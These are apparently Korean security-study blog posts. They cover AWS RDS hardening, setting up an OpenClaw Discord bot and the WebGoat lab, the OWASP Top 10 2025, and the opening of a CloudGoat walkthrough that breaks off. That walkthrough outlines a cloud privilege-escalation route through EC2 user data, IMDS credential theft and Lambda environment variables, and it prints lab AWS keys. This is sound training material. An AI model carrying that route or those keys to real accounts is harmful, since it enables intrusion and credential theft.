            "Action": ["rds:DescribeDBInstances"],
            "Resource": "*" 
        },
        {
            "Effect": "Deny", // 명시적 거부 추가
            "Action": ["rds:DeleteDBInstance", "rds:ModifyDBInstance"],
            "Condition": {"Bool": {"aws:MultiFactorAuthPresent": "false"}},
            "Resource": "*" // MFA 없이는 민감 작업 불가
        }
    ]
}

AWS 정책 평가 로직에서 Deny는 Allow보다 우선이다. 추가한 조건은 공격자가 David의 키를 훔쳤더라도, 실제 David의 물리적 MFA 장치가 없다면 RDS 설정을 바꿀 수 없게 만든다.

3. 데이터 보호: RDS 스냅샷 암호화

공격자가 스냅샷을 복원할 수 있었던 이유는 스냅샷이 암호화되어 있지 않았거나, 암호화 키(KMS)에 대한 접근 권한까지 David가 가졌기 때문이다.

모든 RDS 스냅샷을 AWS KMS(Key Management Service)로 암호화
David가 rds:Restore... 권한이 있더라도, 암호화에 사용된 KMS 키에 대한 kms:Decrypt 권한이 없다면 공격자는 서버(RDS)는 만들 수 있지만, 정작 그 안의 데이터(EBS Volume)는 복호화하지 못해 서버 부팅 자체가 실패한다.

4. 탐지 및 대응: 실시간 모니터링

공격자가 침입했을 때 관리자가 즉시 알 수 있어야 한다.

CloudTrail + CloudWatch Alarms: RestoreDBInstanceFromDBSnapshot이나 ModifyDBInstance API 호출이 발생하면 즉시 관리자에게 SNS 알림이 가도록 설정한다.
Amazon GuardDuty: "기존에 사용하지 않던 리전이나 IP에서 RDS 복원 시도"와 같은 이상 행위를 머신러닝으로 탐지하여 차단한다.

[OpenClaw] Docker 환경에서 Gemini API를 이용한 디스코드 봇 구축

chon29 — Fri, 20 Mar 2026 16:56:50 +0900

Docker Desktop 설치

Docker 공식 홈페이지에서 Docker Desktop for Windows를 다운로드한다.
설치 파일을 실행하여 설정을 마친 후, 반드시 WSL2 설치를 병행해야 한다.
설치 완료 후 터미널(CMD/PowerShell)에서 docker --version 명령어로 설치 여부를 확인한다.

Docker: Accelerated Container Application Development

Docker is a platform designed to help developers build, share, and run container applications. We handle the tedious setup, so you can focus on the code.

www.docker.com

WSL2와 Docker 연결

- Docker Compose 확인

PowerShell에서는 docker가 잘 실행되는 것으로 보아 Docker Desktop이 설치되어 있지만, WSL에서는 설치가 안 되어 있어서 별도 연결 설정이 필요하다.

(L) Powershell / (R) wsl

Docker Desktop 프로그램을 열고 상단 톱니바퀴(Settings) 아이콘을 클릭한다.
Resources -> WSL integration 메뉴로 이동한다.
배포판 목록 중 현재 사용 중인 Ubuntu 이미지를 찾아 스위치를 켠다(ON).
Apply & Restart를 클릭하면 이제 WSL 터미널에서도 도커 명령어를 사용할 수 있다.

이후 다시 버전을 확인하면 연결이 되어있음을 확인할 수 있다.

OpenClaw 설치 및 실행

리포지토리 클론

WSL 터미널에서 아래 명령어를 입력하여 소스 코드를 가져온다.

# OpenClaw 리포지토리 클론
git clone https://github.com/openclaw/openclaw.git
cd openclaw

자동 설치 스크립트 실행

chmod +x docker-setup.sh
./docker-setup.sh

별도의 환경 변수 설정 없이 스크립트 한 번으로 이미지 빌드와 .env 설정을 끝낼 수 있다.

OpenClaw 초기 설정(Onboarding) 단계별 가이드

설치가 완료되면 터미널에 온보딩 화면이 나온다. 아래 순서대로 설정을 진행하면 된다.

1. 기본 약관 및 모드 선택

온보딩 설정

- Personal-by-default

◆ I understand this is personal-by-default and shared/multi-user use requires lock-down. Continue?
│
● Yes / ○ No
└

이 봇은 개인용으로 설계되었다는 안내다. [Yes]를 선택해 계속 진행한다.

- Setup mode

◆ Setup mode
│ ● QuickStart (Configure details later via openclaw configure.)
│ ○ Manual

빠르게 설정을 끝내기 위해 [QuickStart]를 선택한다. 나중에 대시보드에서 상세 설정을 바꿀 수 있다.

- Config handling

◆  Config handling
│  ● Use existing values
│  ○ Update values
│  ○ Reset

처음 설치라면 [Use existing values] 또는 기본값을 선택해 넘어간다.

2. AI 모델 설정

- Model/auth provider

◆  Model/auth provider
│  ○ Alibaba Cloud Model Studio
│  ○ Anthropic
│  ○ BytePlus
│  ○ Chutes
│  ○ Cloudflare AI Gateway
│  ○ Copilot
│  ○ Custom Provider
│  ○ fal
│  ● Google (Gemini API key + OAuth)
│  ○ Hugging Face
│  ○ Kilo Gateway
│  ○ Kimi Code
│  ○ LiteLLM
│  ○ MiniMax
│  ○ Mistral AI
│  ○ Moonshot AI (Kimi K2.5)
│  ○ Ollama
│  ○ OpenAI
│  ○ OpenCode
│  ○ OpenRouter
│  ○ Qianfan
│  ○ Qwen
│  ○ SGLang
│  ○ Synthetic
│  ○ Together AI
│  ○ Venice AI
│  ○ Vercel AI Gateway
│  ○ vLLM
│  ○ Volcano Engine
│  ...
└

구글의 Gemini를 사용할 것이므로 [Google]을 선택한다.

- Google auth method

◆ Google auth method
│  ○ Gemini CLI OAuth
│  ● Google Gemini API key
│  ○ Back
└

API 키를 직접 입력하는 방식인 [Google Gemini API key]를 선택한다.

Google API 키 발급

API 키가 없다면 Google AI Studio API Key에 접속하여 Google 계정 로그인 후 'Create API Key'를 눌러 무료로 발급받는다.

API 발급

[ API 키 발급 참고 ]

Gemini API key 발급하기

Google AI Studio에서 Gemini API key 발급하는 방법을 설명할게요.

flextudio.com

- Enter Gemini API key

◆ Enter Gemini API key
│ _
└

Google AI Studio에서 발급받은 API 키를 붙여넣는다.

- Default model

◆  Default model
│  ○ Keep current (google/gemini-3.1-pro-preview)
│  ○ Enter model manually
│  ○ google/gemini-1.5-flash
│  ○ google/gemini-1.5-flash-8b
│  ○ google/gemini-1.5-pro
│  ○ google/gemini-2.0-flash
│  ○ google/gemini-2.0-flash-lite
│  ○ google/gemini-2.5-flash
│  ○ google/gemini-2.5-flash-lite
│  ○ google/gemini-2.5-flash-lite-preview-06-17
│  ○ google/gemini-2.5-flash-lite-preview-09-2025
│  ○ google/gemini-2.5-flash-preview-04-17
│  ○ google/gemini-2.5-flash-preview-05-20
│  ○ google/gemini-2.5-flash-preview-09-2025
│  ○ google/gemini-2.5-pro
│  ○ google/gemini-2.5-pro-preview-05-06
│  ○ google/gemini-2.5-pro-preview-06-05
│  ● google/gemini-3-flash-preview (Gemini 3 Flash Preview · ctx 1024k · reasoning)
│  ○ google/gemini-3-pro-preview
│  ○ google/gemini-3.1-flash-lite-preview
│  ○ google/gemini-3.1-pro-preview
│  ○ google/gemini-3.1-pro-preview-customtools
│  ○ google/gemini-flash-latest
│  ○ google/gemini-flash-lite-latest
│  ○ google/gemini-live-2.5-flash
│  ○ google/gemini-live-2.5-flash-preview-native-audio
└

봇의 메인 모델을 선택한다.

Flash : 응답 속도가 매우 빠르고 가볍다.
- 용도: 단순 대화, 빠른 명령어 실행, 실시간 정보 검색에 최적화되어 있습니다. 무료 할당량이 넉넉해 개인용 봇으로 가장 추천
Pro : 추론 능력이 뛰어나고 복잡한 코딩이나 긴 문맥 파악에 강하다.
- 용도: 어려운 문제를 풀거나 방대한 데이터를 분석할 때 좋지만, Flash보다 응답 속도가 조금 느릴 수 있다.

3. 채널 연결 (디스코드)

- Select channel

◆  Select channel (QuickStart)
│  ○ Telegram (Bot API)
│  ○ WhatsApp (QR link)
│  ● Discord (Bot API) (needs token)
│  ○ IRC (Server + Nick)
│  ○ Google Chat (Chat API)
│  ○ Slack (Socket Mode)
│  ○ Signal (signal-cli)
│  ○ iMessage (imsg)
│  ○ LINE (Messaging API)
│  ○ Feishu/Lark (飞书)
│  ○ Nostr (NIP-04 DMs)
│  ○ Microsoft Teams (Bot Framework)
│  ○ Mattermost (plugin)
│  ○ Nextcloud Talk (self-hosted)
│  ○ Matrix (plugin)
│  ○ BlueBubbles (macOS app)
│  ○ Zalo (Bot API)
│  ○ Zalo (Personal Account)
│  ○ Synology Chat (Webhook)
│  ○ Tlon (Urbit)
│  ○ Twitch (Chat)
│  ○ Skip for now
└

봇을 어디서 쓸지 정하는 단계이다. [Discord]를 선택한다.

OpenClaw와 Discord를 연결하기 위해 Discord Developer Portal에서 봇 토큰을 발급받아야 한다.

봇토큰 발급 방법

1. 봇 생성 및 토큰 복사

Discord Developer Portal 접속 및 로그인.
'New Application' 클릭 후 봇 이름 입력.
왼쪽 메뉴 'Bot' 탭 클릭 -> 'Reset Token'을 눌러 생성된 토큰을 복사한다. (생성 시만 볼 수 있으므로 복사 잘 해두기)
같은 페이지 하단 'Privileged Gateway Intents' 항목에서 3가지 옵션(Presence, Server Members, Message Content)을 모두 ON으로 켠다. (이걸 안 켜면 봇이 메시지를 못 읽음!)

2. 서버 초대 URL 만들기

왼쪽 메뉴 'OAuth2' -> 'URL Generator' 클릭.
Scopes: bot 체크.
Bot Permissions: Administrator (관리자 권한, 가장 편함) 혹은 필요한 권한 체크.
하단에 생성된 Generated URL을 복사해 브라우저에 입력하고, 내 서버를 선택해 초대한다.

- Discord bot token

◆  How do you want to provide this Discord bot token?
│  ● Enter Discord bot token (Stores the credential directly in OpenClaw config)
│  ○ Use external secret provider
└

봇 토큰을 직접 입력하는 방식인 [Enter Discord bot token]을 선택한다.

- Enter Discord bot token

◆ Enter Discord bot token
│ _
└

Discord Developer Portal에서 발급받은 봇 토큰을 붙여넣는다.

- Discord channels access

◆ Configure Discord channels access?
│ ● Yes / ○ No
└

보안 설정 옵션이다.

◆ Discord channels access
│ ○ Allowlist (recommended)
│ ● Open (allow all channels)
│ ○ Disabled (block all channels)
└

개인용이라면 [Open (allow all channels)]을 추천한다.

4. 부가 기능 (검색 및 스킬)

- Search provider

◆  Search provider
│  ○ Brave Search
│  ● Gemini (Google Search) (Google Search grounding · AI-synthesized)
│  ○ Grok (xAI)
│  ○ Kimi (Moonshot)
│  ○ Perplexity Search
│  ○ Skip for now
└

실시간 정보 검색을 위해 [Gemini (Google Search)]를 선택한다.

- Configure skills now?

◆ Gemini (Google Search) API key
│ AIza...
└

- Skills & Hooks

◆ Configure skills now? (recommended)
│ ● Yes / ○ No
└

봇에게 추가 능력을 주는 단계다. 필요에 따라 선택하거나 잘 모를 경우 Skip 하면 된다.

◆  Install missing skill dependencies
│  ◻ Skip for now (Continue without installing dependencies)
│  ◻ 1password
│  ◻ blogwatcher
│  ◻ blucli
│  ◻ camsnap
│  ◻ clawhub
│  ◻ eightctl
│  ◻ gifgrep
│  ◻ github
│  ◻ gog
│  ◻ goplaces
│  ◻ himalaya
│  ◻ mcporter
│  ◻ nano-banana-pro
│  ◻ nano-pdf
│  ◻ obsidian
│  ◻ openai-whisper
│  ◻ openhue
│  ◻ oracle
│  ◻ ordercli
│  ◻ sag
│  ◻ songsee
│  ◻ sonoscli
│  ◻ summarize
│  ◻ video-frames
│  ◻ wacli
│  ◻ xurl
└

- Enable hooks?

◆  Enable hooks?
│  ◻ Skip for now
│  ◻ boot-md
│  ◻ bootstrap-extra-files
│  ◻ command-logger
│  ◻ session-memory
└

- 대시보드(Gateway) 접속 및 로그인

모든 설정이 끝나면 이제 웹 브라우저에서 봇을 관리할 수 있다.

Discord 연결 확인

구축하는 데 설정 오류가 많이 나서 거의 7시간은 걸렸다.. 진짜 힘들었음... 그래서 너무 반가움!!

기본 명령어

1. 서비스 시작 및 종료 (Docker 기준)

가장 기본이 되는 명령어. 봇을 켜고 끌 때 사용

docker compose up -d openclaw-gateway

docker compose stop openclaw-gateway

2. 상태 확인 (Status)

봇이 잘 작동하는지, 디스코드는 연결됐는지 확인할 때 사용

open-claw status

Webgoat 실습 환경 구축

chon29 — Mon, 16 Mar 2026 22:35:58 +0900

WebGoat란 무엇인가?

WebGoat는 OWASP에서 유지 관리하는 의도적으로 취약하게 설계된 Java Spring Boot 웹 애플리케이션이다. 보안 전문가와 개발자가 웹 애플리케이션의 취약점을 실제로 공격해 보고, 이를 어떻게 방어해야 하는지 실습을 통해 배울 수 있도록 만들어진 교육용 벤치마크 플랫폼이다.

WebGoat는 단순한 연습 도구를 넘어, 웹 보안의 전 영역을 아우르는 16개의 주요 취약점 카테고리를 제공한다.

	취약점 모듈 명칭	핵심 실습 내용	OWASP 2025 매핑
1	Access Control Flaws	사용자 권한을 넘어서는 데이터나 페이지 접근 시도	A01 (1위)
2	Parameter Tampering	URL 파라미터나 Form 데이터를 조작하여 로직 우회	A01 (1위)
3	Insecure Configuration	서버 및 프레임워크의 잘못된 설정으로 인한 취약점	A02 (2위)
4	Insecure Storage	암호화되지 않은 민감 정보의 물리적 저장 문제	A04 (4위)
5	Insecure Communication	네트워크 전송 시 데이터 암호화 미비 (SSL/TLS 등)	A04 (4위)
6	Injection Flaws	SQL, OS Command 등 악의적인 쿼리 주입 공격	A05 (5위)
7	Cross-Site Scripting (XSS)	사용자 브라우저 내에서 악성 스크립트 실행	A05 (5위)
8	Authentication Flaws	로그인 및 신원 확인 로직의 보안 결함	A07 (7위)
9	Session Management Flaws	세션 탈취, 고정 및 부적절한 세션 관리	A07 (7위)
10	Malicious Execution	서버 측에서의 악성 파일 업로드 및 실행	A08 (8위)
11	Improper Error Handling	시스템 에러를 통해 내부 정보를 과도하게 노출	A10 (10위)
12	Concurrency	다중 요청 처리 시 발생하는 논리적 오류 (Race Condition)	A10 (10위)
13	AJAX Security	비동기 자바스크립트 통신(AJAX)의 보안 취약점	기술적 분류
14	Web Services	API, SOAP, REST 등 웹 서비스 구조적 결함	기술적 분류
15	Code Quality	보안에 취약한 코드 작성 습관 및 논리적 버그	보안 코딩
16	Denial of Service	서버 자원 고갈을 통한 서비스 정상 작동 방해	가용성 침해

이 16가지 실습은 앞서 설명한 OWASP Top 10:2025의 각 항목과 유기적으로 연결되어 있어, 이론을 실무로 전환하는 가장 효과적인 방법이다.

[ WebGoat 실습 환경 구축 ]

- Docker를 이용한 설치

Docker Desktop을 이용하면 별도의 Java 설치 없이도 깔끔하게 환경을 구축할 수 있다. 여기서는 Ubuntu 컨테이너를 생성하여 직접 빌드하는 방식을 사용한다.

실행 명령어:
Windows Poweshell 관리자로 실행 후 다음 명령어를 입력하면 실습용 컨테이너가 실행된다.
```
docker run -it --name webgoat -p 8080:8080 -p 9090:9090 ubuntu
```
옵션 설명:
- docker run : 컨테이나 실행 명령
- -it : 컨테이너 입력(i)과 터미널 접근(t) 활성화
- --name : 생성할 컨테이너의 이름 설정
- -p 8080:8080 : 웹 서비스 포트 연결
- -p 9090:9090 : WebWolf(실습 보조 도구) 포트 연결
- ubuntu : 컨테이너 실행에 사용하는 이미지

이어서 다음 명령어들을 실행한다.

# 패키지 업데이트 및 기본 도구 설치
apt update
apt install git vim

# JDK 17 설치
apt install -y openjdk-17-jdk

- WebGoat 및 환경 구성

WebGoat github 링크

GitHub - WebGoat/WebGoat: WebGoat is a deliberately insecure application

WebGoat is a deliberately insecure application. Contribute to WebGoat/WebGoat development by creating an account on GitHub.

github.com

WebGoat github 주소를 복사하고 Docker 컨테이너에 주소를 붙여넣는다.

git clone -b v2023.3 https://github.com/WebGoat/WebGoat.git

-b는 V2023.3 버전을 다운로드하는 옵션이다.

다운로드 후 ls 명령으로 다운로드된 WebGoat 디렉터리를 확인할 수 있다. 아래의 명령으로 v2023.3 버전을 확인한다.

cd WebGoat
git describe

- webGoat와 WebWolf의 설정 파일 수정

각 properties 파일을 열어 webgoat.host와 webwolf.host 값을 수정한다.

vi src/main/resources/application-webgoat.properties

vi 에디터 명령

열린 파일에서 아래 부분을 수정하고 저장한다.

# 주석처리
#webgoat.host=${WEBGOAT_HOST:127.0.0.1}
# 추가
webgoat.host=0.0.0.0

가상 환경이나 컨테이너에서 돌아가는 WebGoat에 호스트 PC의 브라우저로 원활하게 접근하거나, 외부 실습 장치와 통신하기 위해 수행하는 필수 설정이다. 127.0.0.1은 컨테이너 내부 통신만 허용하지만, 0.0.0.0으로 변경하면 모든 인터페이스를 개방하여 호스트 PC(외부)에서의 접속을 허용하게 된다.

이서 WebWolf 설정 파일도 수정하기 위해 에디터를 실행한다.

vi src/main/resources/application-webwolf.properties

# 주석처리
#webgoat.host=${WEBGOAT_HOST:127.0.0.1}
# 추가
webgoat.host=0.0.0.0

설정이 완료되었다면 Maven을 통해 프로젝트를 빌드하고 실행한다.

./mvnw clean install

BUILD SUCCESS라는 문구가 보이면 빌드가 종료된 것이다.

./mvnw spring-boot:run

위 명령어로 빌드 된 WebGoat 프로젝트를 실행한다.

실행이 완료되면 웹 브라우저 주소창에 아래 주소를 입력하여 접속한다.

WebGoat: http://localhost:8080/WebGoat
WebWolf: http://localhost:9090/WebWolf

- WebGoat 계정 생성

WebGoat에 접속한 후 사용자 등록을 클릭하여 사용자명과 패스워드를 등록한다.

등록한 사용자명과 패스워드로 로그인하면 WebGoat 페이지를 만날 수 있다.

컨테이너 종료 시 exit 명령어를 사용하거나 Ctrl + d로 logout 하면 자동으로 컨테이너가 종료된다. docker ps 혹은 docker ps –a 명령으로 현재 실행 중인 컨테이너 목록을 확인할 수 있다. 이후 실습을 위해 재가동 시 Docker Desktop을 이용하거나 docker start webgoat를 입력해주면 된다.

OWASP Top 10 2025

chon29 — Mon, 16 Mar 2026 16:18:48 +0900

OWASP(Open Web Application Security Project, 국제 웹 보안 표준기구)는 소프트웨어 보안 향상을 목적으로 활동하는 글로벌 비영리 재단이다. 웹 애플리케이션 보안에 관한 표준 가이드와 도구를 개발 및 배포하며 전 세계적인 보안 수준 향상에 기여하고 있다.

OWASP Top 10은 웹 애플리케이션에 대한 가장 중요한 10가지 위험을 다루며, 취약점의 순위가 아닌 위험(Risks)의 순위다. 또한, 데이터 기반으로 이루어진 인식 재고를 위한 문서이며, 약 3~4년 주기로 업데이트된다. 표준이나 규정 준수 체크리스트가 아닌, 조직이 보안 위험에 우선순위를 부여하도록 돕는 역할을 한다.

본격적인 WebGoat 실습에 앞서, 최근 업데이트된 2025년판을 기준으로 이전 버전(2021)과 비교하여 OWASP Top 10에는 어떤 순위 변동과 새로운 취약점이 등장했는지에 대해 작성하겠다.

2025년 Top 10에는 두 개의 새로운 카테고리가 추가되었고, 한 개의 카테고리가 통합되었다.

[ OWASP Top 10 2021과 2025의 주요 차이점 ]

① Security Misconfiguration의 상승 (5위 → 2위): 클라우드 및 IaC(코드형 인프라) 환경 확산으로 인해 보안 설정 오류가 가장 흔하고 치명적인 위험 중 하나로 부상함.

② Software Supply Chain Failures의 신규 등재 및 확장: 기존 '취약한 구성 요소(A6)'를 넘어 오픈소스 라이브러리와 빌드 파이프라인 전체를 관리해야 하는 공급망 전체를 아우르는 개념으로 확장되어 3위로 신규 진입함.

③ SSRF가 단일 항목에서 Broken Access Control로 흡수: 2021년 10위였던 Server-Side Request Forgery가 권한 제어 실패의 특수한 형태로 간주되어 1위 항목에 통합됨.

④ Injection, Cryptographic Failures, Insecure Design의 순위 하락: 프레임워크 자체의 보안 기능 강화와 자동화된 방어 도구의 보편화로 인해, 과거 핵심이었던 취약점들이 각각 2계단씩 순위가 하락함.

⑤ Mishandling of Exceptional Conditions 신규 등재: 시스템의 비정상적 종료나 예외 상황 발생 시 정보 노출이나 보안 로직이 무력화되는 '예외 처리 미흡' 항목이 10위로 새롭게 추가됨.

[ OWASP Top 10:2025 주요 취약점 상세 ]

A01:2025 – Broken Access Control (부적절한 인가)

2021년에 이어 가장 심각한 애플리케이션 보안 위험 요소 1위 자리를 유지하고 있으며, 위 그림의 점선으로 표시된 것처럼 기존의 SSRF(서버 측 요청 위조)가 이 항목으로 통합되었다. BAC는 애플리케이션이 사용자가 허용된 권한을 넘어서는 행동을 막지 못할 때 발생한다. 이로 인해 공격자가 권한을 우회하거나, 무단으로 정보 조회·수정·삭제 또는 비즈니스 기능을 수행할 수 있다.

대표적인 취약점 : 타인의 계정 정보 조회(IDOR), SSRF, 권한 없는 관리자 페이지 접근 등

A02:2025 – Security Misconfiguration (보안 설정 미흡)

2021년 5위에서 2025년 2위로 상승했다. 시스템, 애플리케이션, 클라우드 서비스, 컨테이너 또는 IaC 템플릿 등이 보안 관점에서 잘못 설정되거나, 안전하지 않은 기본값을 사용하여 배포될 때 발생하는 위험이다.

대표적인 취약점 : 클라우드 설정 오류(S3 버킷 노출, IAM 과도한 권한 부여 등), CORS(Cross-Origin Resource Sharing) 오설정, 잘못 구성된 HTTP 보안 헤더(예: Content Security Policy), 기본 비밀번호 사용, XXE 외부 엔티티 허용 등

A03:2025 – Software Supply Chain Failures (소프트웨어 공급망 실패)

2025년 신규 등재된 항목으로, 2021년의 A06 취약하고 오래된 구성 요소를 대체하는 새로운 항목이다. 단순히 오래된 라이브러리를 관리하는 것을 넘어서 사용하는 공급망에서의 문제 및 공급망 관리의 보안까지 포함하는 항목으로 변화했다.

대표적인 취약점 : 악성 코드가 삽입된 외부 라이브러리 사용, 변조된 업데이트 배포 등

A04:2025 – Cryptographic Failures (암호화 문제)

암호학적 결함은 민감한 데이터를 노출시킬 수 있는 암호화 부재, 암호화 강도가 낮은 암호화, 암호화 키 유출 및 하드코딩 된 암호화 키와 같은 문제를 다룬다.

대표적인 취약점 : 약한 알고리즘 사용, 부적절한 암호화 키 관리(하드코딩, 키 교체 주기, 키 접근 제어), 데이터 암호화 미흡 등

A05:2025 – Injection (인젝션)

3위에서 5위로 두 단계 하락했지만, 암호화 오류 및 안전하지 않은 설계와 관련된 순위는 유지했다. 신뢰할 수 없는 데이터가 쿼리, 명령어 또는 템플릿으로 유입될 때 발생하며, 애플리케이션이 이를 데이터가 아닌 실행 가능한 코드나 명령어의 일부로 처리하는 위험이다.

대표적인 취약점 : SQL Injection, Command Injection. XSS(Cross Site Scrip) 등

A06:2025 – Insecure Design (안전하지 않은 설계)

Security Misconfiguration과 Software Supply Chain Failures 항목에 밀려 4위에서 6위로 두 단계 하락했다. 이 항목은 2021년에 도입되었으며, 위협 모델링과 보안 설계에 대한 강조가 강화되면서 업계에서 눈에 띄는 개선이 이루어졌다. 개발의 초기 단계에서 보안을 간과하고 지나쳤다가 뒤놓게 취약점을 발견하면 조치하기가 매우 어렵다. 코딩 단계가 아닌 설계 단계에서 보안 제어가 누락되거나 비효율적일 때 발생하는 위험이다.

대표적인 취약점 : 비즈니스 로직 취약점 류(단체 예매 창구로 예매시 할인이 있으나 1명도 예약이 가능함), 비밀번호 찾기시 질문/답변 기능 제공, 봇의 자동화 공격 대응 미흡

A07:2025 – Authentication Failures (인증 실패)

공격자가 유효하지 않거나 부정확한 사용자를 정상적인 요청으로 인식하도록 시스템을 속일 수 있게 만드는 위험이다. 표준화된 인증 프레임워크의 사용이 증가함에 따라 인증 실패 발생 빈도가 감소하는 긍정적인 효과가 나타나고 있다.

# A01(BAC) 과 다른점은?

A01은 인가(authz)에 초점을 둔다면 A07은 인증(authn)에 초점을 둠

대표적인 취약점 : 약한 비밀번호 정책, 크리덴셜 스터핑 및 무차별 대입 공격, MFA 기능 누락/MFA 사용안함, 세션 관리 오류(로그아웃 후에도 세션 토큰 유지, 세션 키가 URL에 노출되는 문제 등) 등

A08:2025 – Software or Data Integrity Failures (소프트웨어 및 데이터 무결성 문제)

소프트웨어 공급망 실패보다 하위 수준에서 소프트웨어, 코드 및 데이터 아티팩트의 무결성을 검증하고 신뢰 경계를 유지하는 데 실패하는 것을 중점적으로 다룬다. 애플리케이션에서 데이터 유효성, 출처 또는 무결성이 확인되지 않은 채 처리되거나 사용될 때 발생하는 보안 위험이다.

# A03(소프트웨어 공급망 보안 실패) 과 다른점은?

A08은 외부의 종속성 자체가 안전하더라도, 애플리케이션 환경 내부에서 이루어지는 무결성 검증 실패에 초점을 둠

대표적인 취약점 : 안전하지 않은 역직렬화(React2shell의 루트커즈), CDN 무결성 유효성 검증 미흡, 업데이트시 디지털 서명 검증 미흡, 신뢰하지 않는 종속성 저장소 사용 등

A09:2025 – Logging & Alerting Failures (로깅 및 경고 문제)

침해 사고가 발생했을 때 적절한 보안 로그를 수집하지 않거나, 이를 모니터링하지 않았거나, 또는 알람 경고에 신속하게 대응하지 못할 때 발생하는 위험이며 사고 대응과 포렌식을 어렵게 만든다. 2021년 9위를 유지했으며, 이번 2025년 버전에서는 '모니터링' 대신 '경고(Alerting)'라는 단어를 사용하여 대응의 실효성을 강조했다.

대표적인 취약점 : 로그인 실패 로깅 누락, 실시간 모니터링 부재 등.

A10:2025 – Mishandling of Exceptional Conditions (예외 처리 미흡)

2025년 신규 등재 항목으로, 이 범주에는 부적절한 오류 처리, 논리적 오류, 시스템 개방 실패 및 시스템이 직면할 수 있는 비정상적인 상황에서 발생하는 기타 관련 시나리오에 초점을 맞춘 24개의 핵심 문제(CWE)가 포함되어 있다.

예상치 못하거나 예측 불가능한 상황에 대해 예방, 감지 및 대응하는 데 실패하여 장애, 취약점으로 이어질 때 발생하는 위험이다.

대표적인 취약점 : 에러 정보 노출 - 중요정보, 민감 정보 노출, Failing Open - 검증 실패시 접근을 허용 - if False: break; if False: break; pass();, 불충분한 입력 값 처리 - 입력 값을 적절히 처리하지 못하여 예상하지 못한 동작으로 이어지는 경우 등

지금까지 2025년 최신 기준으로 업데이트된 OWASP Top 10을 살펴보았다. 이론적인 개념을 익혔으니, 이제 다음 포스팅부터는 WebGoat라는 모의 해킹 실습 환경을 통해 이러한 취약점들이 실제로 어떻게 발생하고, 어떻게 방어할 수 있는지 하나씩 직접 실습해 보겠다.

[ CloudGoat | Easy ] data_secrets 시나리오 실습

chon29 — Thu, 12 Mar 2026 16:37:16 +0900

Github 링크

cloudgoat/cloudgoat/scenarios/aws/data_secrets at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

# README

Scenario Resources

1 IAM User : 제한된 권한을 가진 IAM 사용자 (시나리오의 시작점)
1 EC2 Instance : 자격 증명이 유출되는 잘못 수정된 EC2 인스턴스
1 IAM Role
1 Lambda Function : 탈취한 역할로 접근하여 Lambda 함수에 숨겨진 환경 변수를 찾아냄
1 Secrets Manager Secret : 최종 목표지점, 접근하여 flag 획득

Scenario Start(s)

AWS Access Key and Secret Key

Scenario Goal(s)

AWS Secrets Manager에 저장된 최종 flag를 찾기

Summary

이 시나리오에서는 제한된 권한을 가진 IAM 사용자로 시작합니다. 여러분의 목표는 사용자 데이터에 자격 증명이 유출되는 잘못 구성된 EC2 인스턴스를 찾아 SSH 접근 권한을 획득하는 것입니다. 그 후, 인스턴스 메타데이터 서비스(IMDS)를 악용하여 역할을 탈취하고, Lambda 함수를 열거하여 숨겨진 환경 변수를 찾아낸 다음, 최종적으로 시나리오의 목표인 AWS Secrets Manager에 저장된 비밀 키에 접근할 수 있는 사용자 계정을 확보해야 합니다.

시나리오 개요

이 시나리오는 제한된 권한의 IAM 사용자로 시작하여, 설정 오류로 노출된 EC2 User Data와 Lambda 환경 변수를 통해 권한을 상승시키는 과정을 다룬다. 최종적으로 AWS Secrets Manager에 접근하여 플래그를 획득하는 것이 목표입니다.

Exploitation Route

Enumerate Permissions: 제공된 자격 증명으로 EC2 속성을 읽을 수 있는 권한이 있는지 확인한다.
Inspect EC2 User Data: EC2의 User Data를 검사하여 하드코딩된 SSH 자격 증명을 찾아낸다.
SSH Access & IMDS Exploit: 노출된 EC2에 SSH로 접속한 뒤, IMDS에 쿼리를 날려 IAM 역할의 임시 자격 증명을 탈취한다.
Enumerate Lambda: 탈취한 권한으로 Lambda 함수를 조사하여 환경 변수에 숨겨진 Access Key를 발견한다.
Retrieve Final Flag: 획득한 관리자급 키를 사용하여 Secrets Manager에서 최종 플래그를 읽어낸다.

[ 환경 구축 ]

시나리오 생성

먼저 터미널에서 아래 명령어를 입력하여 실습 환경을 구축한다.

cloudgoat create data_secrets

Apply complete! 메시지가 뜨면 AWS상에 실습 리소스가 성공적으로 생성된 것이다.

[ Output ]

start_user_access_key = AKIA32XTQ7QIBTNCMVGO
start_user_secret_key = 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

Output으로 제공된 Key로 사용자를 CLI에 등록한다.

STEP 1. 시작 사용자 구성

AWS CLI 프로필 설정 (자격 증명 등록)

시나리오에서 발급받은 access_key_id와 secret_access_key를 사용하여 내 로컬 환경에 satrt_user라는 사용자의 프로필을 등록하고 정상적으로 접속되는지 확인한다.

# 프로필 등록
aws configure --profile [프로필명]
# Enter Access Key ID
# Enter Secret Access Key
# Default region: us-east-1
# Default output format: json

시나리오에서 생성된 사용자 프로필을 등록한다.

현재 사용자 정보 확인

# 현재 신분 확인
aws sts get-caller-identity --profile [프로필명]

{
    "UserId": "AIDA32XTQ7QINIPXYJY2W",
    "Account": "xxxxxxxxxxxx",
    "Arn": "arn:aws:iam::xxxxxxxxxxxx:user/cg-start-user-cgidhl8rixa9p5"
}

프로필 등록 후, 각 계정으로 정상 접속되는지 UserId와 Arn을 확인한다. secondary_user의 비밀키를 알아내야 한다.

STEP 2. 권한 및 EC2 리소스 열거

EC2 인스턴스 정보 확인

get-caller-identity확인 및 권한 확인을 통해 신원을 확인할 수 있지만, 어떤 리소스가 공개되어 있는지 확인하는 것이 더 중요하므로 계정에서 실행 중인 EC2 인스턴스가 있는지 확인하기 위해 인스턴스 목록을 조회해 본다.

cli 명령 옵션 확인

describe-instances — AWS CLI 2.34.32 Command Reference

The total number of items to return in the command’s output. If the total number of items available is more than the value specified, a NextToken is provided in the command’s output. To resume pagination, provide the NextToken value in the starting-tok

docs.aws.amazon.com

해당 글을 보면 출력 구조를 알 수 있고, 옵션을 사용하여 원하는 값만 조회하고 싶을 때 참고하면 좋다.

인스턴스 목록 조회

aws ec2 describe-instances --region us-east-1 --profile start_user

위의 명령어를 치면 인스턴스가 목록에 표시되는데 InstanceId (i-0xxxxxxxx)와 PublicIpAddress, Security Groups을 기록해 두어야 한다.

[ 조회 결과 ]

"SecondaryInterfaces": [],
"InstanceId": "i-0e95c56fa95719e3d",
"PublicIpAddress": "100.54.10.131"
                   
# Security Groups
"Groups": [
    {
        "GroupId": "sg-0c72f4abb389ec787",
        "GroupName": "cg-sg-cgidhl8rixa9p5"
    }
]

인스턴스 ID만 확인

